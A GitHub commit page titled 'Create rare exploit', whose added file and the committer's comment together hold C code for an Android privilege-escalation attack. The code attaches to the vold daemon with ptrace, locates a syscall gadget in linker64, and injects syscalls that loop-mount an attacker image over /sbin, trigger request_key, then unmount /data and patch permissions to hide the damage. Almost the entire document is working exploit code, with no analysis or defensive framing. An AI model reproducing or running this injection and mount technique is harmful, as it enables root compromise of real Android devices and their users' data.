Skip to content

Commit

Permalink
Create rare exploit
Browse files Browse the repository at this point in the history
  • Loading branch information
Kilo-411 authored Dec 13, 2020
1 parent f729c07 commit f31d1ae
Showing 1 changed file with 40 additions and 0 deletions.
40 changes: 40 additions & 0 deletions rare exploit
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
#include "libc_less.c.inc"

static unsigned long syscall_addr;

static long do_remote_syscall(int pid, struct user_pt_regs *syscall_regs) {
injectlib_stdout_write("performing remote syscall\n");
syscall_regs->pc = syscall_addr;
struct iovec sysc_regs_vec = { .iov_base = syscall_regs, .iov_len = sizeof(*syscall_regs) };
// write back registers
int srs_ret = injectlib_ptrace(PTRACE_SETREGSET, pid, (void*)NT_PRSTATUS, &sysc_regs_vec);
if (srs_ret) {
injectlib_stdout_write("PTRACE_SETREGSET failed\n");
while (1) {} /* fatal error */
}

// step into and out of the syscall
int ptrace_res = injectlib_ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
if (ptrace_res) {
injectlib_stdout_write("PTRACE_SYSCALL(1) failed\n");
while (1) {} /* fatal error */
}
injectlib_simple_wait(pid);
ptrace_res = injectlib_ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
if (ptrace_res) {
injectlib_stdout_write("PTRACE_SYSCALL(2) failed\n");
while (1) {} /* fatal error */
}
injectlib_simple_wait(pid);

int grs_ret = injectlib_ptrace(PTRACE_GETREGSET, pid, (void*)NT_PRSTATUS, &sysc_regs_vec);
if (grs_ret) {
injectlib_stdout_write("PTRACE_GETREGSET failed\n");
while (1) {} /* fatal error */
}

injectlib_stdout_write("remote syscall done: ");
injectlib_log_hexnum(syscall_regs->regs[0]);
injectlib_stdout_write("\n");
return syscall_regs->regs[0];
}

1 comment on commit f31d1ae

@Kilo-411
Copy link
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

void _start(void) {
injectlib_stdout_write("hello from crash_dump!\n");

char *pid_envvar = injectlib_find_envvar("INJECTED_DATA_VOLD_PID");
injectlib_stdout_write("found INJECTED_DATA_VOLD_PID: ");
injectlib_stdout_write(pid_envvar);
injectlib_stdout_write("\n");
int vold_pid = injectlib_parse_hexnum(pid_envvar);
injectlib_stdout_write("parsed envvar\n");
char *proc_maps_path = injectlib_find_envvar("INJECTED_DATA_VOLD_MAPS");
injectlib_stdout_write("found INJECTED_DATA_VOLD_MAPS: ");
injectlib_stdout_write(proc_maps_path);
injectlib_stdout_write("\n");
unsigned long linker_syscall_offset =
		injectlib_parse_hexnum(injectlib_find_envvar("INJECTED_LINKER_SYSCALL_OFFSET"));

int ptrace_res = injectlib_ptrace(PTRACE_ATTACH, vold_pid, NULL, NULL);
if (ptrace_res == 0) {
	injectlib_stdout_write("PTRACE_ATTACH successful\n");
} else {
	injectlib_stdout_write("PTRACE_ATTACH failed: ");
	injectlib_log_hexnum(ptrace_res);
	injectlib_stdout_write("\n");
	while (1) {} /* fatal error */
}
injectlib_simple_wait(vold_pid);

int maps_fd = injectlib_open(proc_maps_path, O_RDONLY);
injectlib_stdout_write("opened vold maps file, result ");
injectlib_log_hexnum(maps_fd);
if (maps_fd < 0) {
	injectlib_stdout_write(", error!\n");
	while (1) {} /* fatal error */
} else {
	injectlib_stdout_write(", success!\n");
}
// <insert swearwords here>
static char maps_buffer[1024*1024];
int maps_length = 0;
while (1) {
	int read_res = injectlib_read(maps_fd,
			maps_buffer+maps_length, sizeof(maps_buffer)-1-maps_length);
	if (read_res < 0) {
		injectlib_stdout_write("maps read failed: ");
		injectlib_log_hexnum(read_res);
		injectlib_stdout_write("\n");
		while (1) {} /* fatal error */
	}
	if (read_res == 0) {
		injectlib_stdout_write("maps read returned 0, ending read loop\n");
		break;
	}
	injectlib_stdout_write("maps read returned: ");
	injectlib_log_hexnum(read_res);
	injectlib_stdout_write("\n");
	maps_length += read_res;
}
maps_buffer[maps_length] = '\0';
char *map_line = maps_buffer;
unsigned long linker_base;
while (1) {
	char *line_end = injectlib_strchr(map_line, '\n');
	if (line_end == NULL) {
		injectlib_stdout_write("unable to find maps entry\n");
		while (1) {} /* fatal error */
	}

	char *start_addr = map_line;
	char *perms = injectlib_strchr(start_addr, ' ');
	if (perms == NULL) {
		injectlib_stdout_write("unable to find maps entry (2)\n");
		while (1) {} /* fatal error */
	}
	perms++;
	if (perms[2] == 'x') {
		char *path = injectlib_strchr(perms, '/');
		if (path && path < line_end) {
			if (injectlib_prefix_match("/system/bin/linker64\n", path)) {
				*line_end = '\0';
				injectlib_stdout_write("found executable linker mapping:\n");
				injectlib_stdout_write(map_line);
				injectlib_stdout_write("\n");
				linker_base = injectlib_parse_hexnum(start_addr);
				break;
			}
		}
	}

	map_line = line_end + 1;
}
syscall_addr = linker_base + linker_syscall_offset;
injectlib_stdout_write("syscall gadget is at ");
injectlib_log_hexnum(syscall_addr);
injectlib_stdout_write("\n");


// grab the register state
struct user_pt_regs vold_regs = { 0 };
struct user_pt_regs vold_regs_orig;
struct iovec vold_regs_vec = { .iov_base = &vold_regs, .iov_len = sizeof(vold_regs) };
int grs_ret = injectlib_ptrace(PTRACE_GETREGSET, vold_pid, (void*)NT_PRSTATUS, &vold_regs_vec);
if (grs_ret) {
	injectlib_stdout_write("PTRACE_GETREGSET failed\n");
	while (1) {} /* fatal error */
}
injectlib_stdout_write("PTRACE_GETREGSET done\n");
vold_regs_orig = vold_regs;

vold_regs.regs[8] = __NR_openat;
vold_regs.regs[0] = AT_FDCWD;
vold_regs.regs[1] = push_remote_stack_string(vold_pid, &vold_regs, "/data/sbin_image");
vold_regs.regs[2] = O_RDONLY;
vold_regs.regs[3] = 0;
int image_fd = do_remote_syscall(vold_pid, &vold_regs);
if (image_fd < 0) {
	injectlib_stdout_write("open image failed\n");
	while (1) {} /* fatal error */
}

vold_regs.regs[8] = __NR_openat;
vold_regs.regs[0] = AT_FDCWD;
vold_regs.regs[1] = push_remote_stack_string(vold_pid, &vold_regs, "/dev/block/loop7");
vold_regs.regs[2] = O_RDONLY;
vold_regs.regs[3] = 0;
int loop_fd = do_remote_syscall(vold_pid, &vold_regs);
if (loop_fd < 0) {
	injectlib_stdout_write("open loop7 failed\n");
	while (1) {} /* fatal error */
}

#define __NR_ioctl 29
#define LOOP_SET_FD		0x4C00
vold_regs.regs[8] = __NR_ioctl;
vold_regs.regs[0] = loop_fd;
vold_regs.regs[1] = LOOP_SET_FD;
vold_regs.regs[2] = image_fd;
int set_fd_res = do_remote_syscall(vold_pid, &vold_regs);
if (set_fd_res != 0) {
	injectlib_stdout_write("associating fd with loop failed\n");
	while (1) {} /* fatal error */
}

#define LOOP_SET_STATUS64	0x4C04
struct loop_info64 new_status = {
	.lo_flags = LO_FLAGS_READ_ONLY | LO_FLAGS_AUTOCLEAR
};
vold_regs.regs[8] = __NR_ioctl;
vold_regs.regs[0] = loop_fd;
vold_regs.regs[1] = LOOP_SET_STATUS64;
vold_regs.regs[2] = push_remote_stack_data(vold_pid, &vold_regs, &new_status, sizeof(new_status));
int set_status_res = do_remote_syscall(vold_pid, &vold_regs);
if (set_status_res != 0) {
	injectlib_stdout_write("setting loop status failed\n");
	while (1) {} /* fatal error */
}

#define __NR_mount 40
#define MS_RDONLY 1
vold_regs.regs[8] = __NR_mount;
vold_regs.regs[0] = push_remote_stack_string(vold_pid, &vold_regs, "/dev/block/loop7");
vold_regs.regs[1] = push_remote_stack_string(vold_pid, &vold_regs, "/sbin");
vold_regs.regs[2] = push_remote_stack_string(vold_pid, &vold_regs, "ext4");
vold_regs.regs[3] = MS_RDONLY;
vold_regs.regs[4] = push_remote_stack_string(vold_pid, &vold_regs, "");
int mount_res = do_remote_syscall(vold_pid, &vold_regs);
if (mount_res) {
	injectlib_stdout_write("remote mount failed\n");
	while (1) {} /* fatal error */
}
injectlib_stdout_write("remote mount succeeded\n");

injectlib_stdout_write("sending key request...\n");
#define __NR_request_key 218
#define KEY_SPEC_THREAD_KEYRING -1
vold_regs.regs[8] = __NR_request_key;
vold_regs.regs[0] = push_remote_stack_string(vold_pid, &vold_regs, "user");
vold_regs.regs[1] = push_remote_stack_string(vold_pid, &vold_regs, "thiskeydoesnotexist");
vold_regs.regs[2] = push_remote_stack_string(vold_pid, &vold_regs, "foobar");
vold_regs.regs[3] = KEY_SPEC_THREAD_KEYRING;
/*int rk_res = */do_remote_syscall(vold_pid, &vold_regs);

// at this point, request_key has (hopefully) executed. now let's try a little
// bit to get the system back up...
injectlib_stdout_write("crash_dump: trying to restore system\n");

// get rid of our /data mounts so that the system goes into a semi-functional
// state again.
#define __NR_umount2 39
#define MNT_DETACH 0x00000002
vold_regs.regs[8] = __NR_umount2;
vold_regs.regs[0] = push_remote_stack_string(vold_pid, &vold_regs, "/data");
vold_regs.regs[1] = MNT_DETACH;
do_remote_syscall(vold_pid, &vold_regs);
vold_regs.regs[8] = __NR_umount2;
vold_regs.regs[0] = push_remote_stack_string(vold_pid, &vold_regs, "/data/misc");
vold_regs.regs[1] = MNT_DETACH;
do_remote_syscall(vold_pid, &vold_regs);

// fix up the permissions that were damaged by vold
#define AID_SYSTEM 1000
#define AID_MISC 9998
char *fixup_names[] = { "/data", "/data/misc" };
int fixup_uids[] = { AID_SYSTEM, AID_SYSTEM };
int fixup_gids[] = { AID_SYSTEM, AID_MISC };
int fixup_modes[] = { 00771, 01771 };
for (int i=0; i<2; i++) {
	vold_regs.regs[8] = __NR_openat;
	vold_regs.regs[0] = AT_FDCWD;
	vold_regs.regs[1] = push_remote_stack_string(vold_pid, &vold_regs, fixup_names[i]);
	vold_regs.regs[2] = O_RDONLY;
	vold_regs.regs[3] = 0;
	int data_dir_fd = do_remote_syscall(vold_pid, &vold_regs);
	if (data_dir_fd < 0) {
		injectlib_stdout_write("open dir failed\n");
		while (1) {} /* fatal error */
	}

	#define __NR_fchown 55
	vold_regs.regs[8] = __NR_fchown;
	vold_regs.regs[0] = data_dir_fd;
	vold_regs.regs[1] = fixup_uids[i];
	vold_regs.regs[2] = fixup_gids[i];
	int chown_res = do_remote_syscall(vold_pid, &vold_regs);
	if (chown_res < 0) {
		injectlib_stdout_write("fchown failed\n");
		while (1) {} /* fatal error */
	}

	#define __NR_fchmod 52
	vold_regs.regs[8] = __NR_fchmod;
	vold_regs.regs[0] = data_dir_fd;
	vold_regs.regs[1] = fixup_modes[i];
	int chmod_res = do_remote_syscall(vold_pid, &vold_regs);
	if (chmod_res < 0) {
		injectlib_stdout_write("fchmod failed\n");
		while (1) {} /* fatal error */
	}
}


// make vold continue execution...
vold_regs = vold_regs_orig;
int srs_ret = injectlib_ptrace(PTRACE_SETREGSET, vold_pid, (void*)NT_PRSTATUS, &vold_regs_vec);
if (srs_ret) {
	injectlib_stdout_write("final PTRACE_SETREGSET failed\n");
	while (1) {} // fatal error
}
injectlib_ptrace(PTRACE_DETACH, vold_pid, NULL, NULL);
#define __NR_kill 129
#define SIGCONT 18
injectlib_do_syscall(__NR_kill, vold_pid, SIGCONT, 0, 0, 0, 0);

// ... then exit to signal to the zygote that it should restart
#define __NR_exit_group 94
injectlib_do_syscall(__NR_exit_group, 0, 0, 0, 0, 0, 0);

// this should not happen
while (1) {}

}

Please sign in to comment.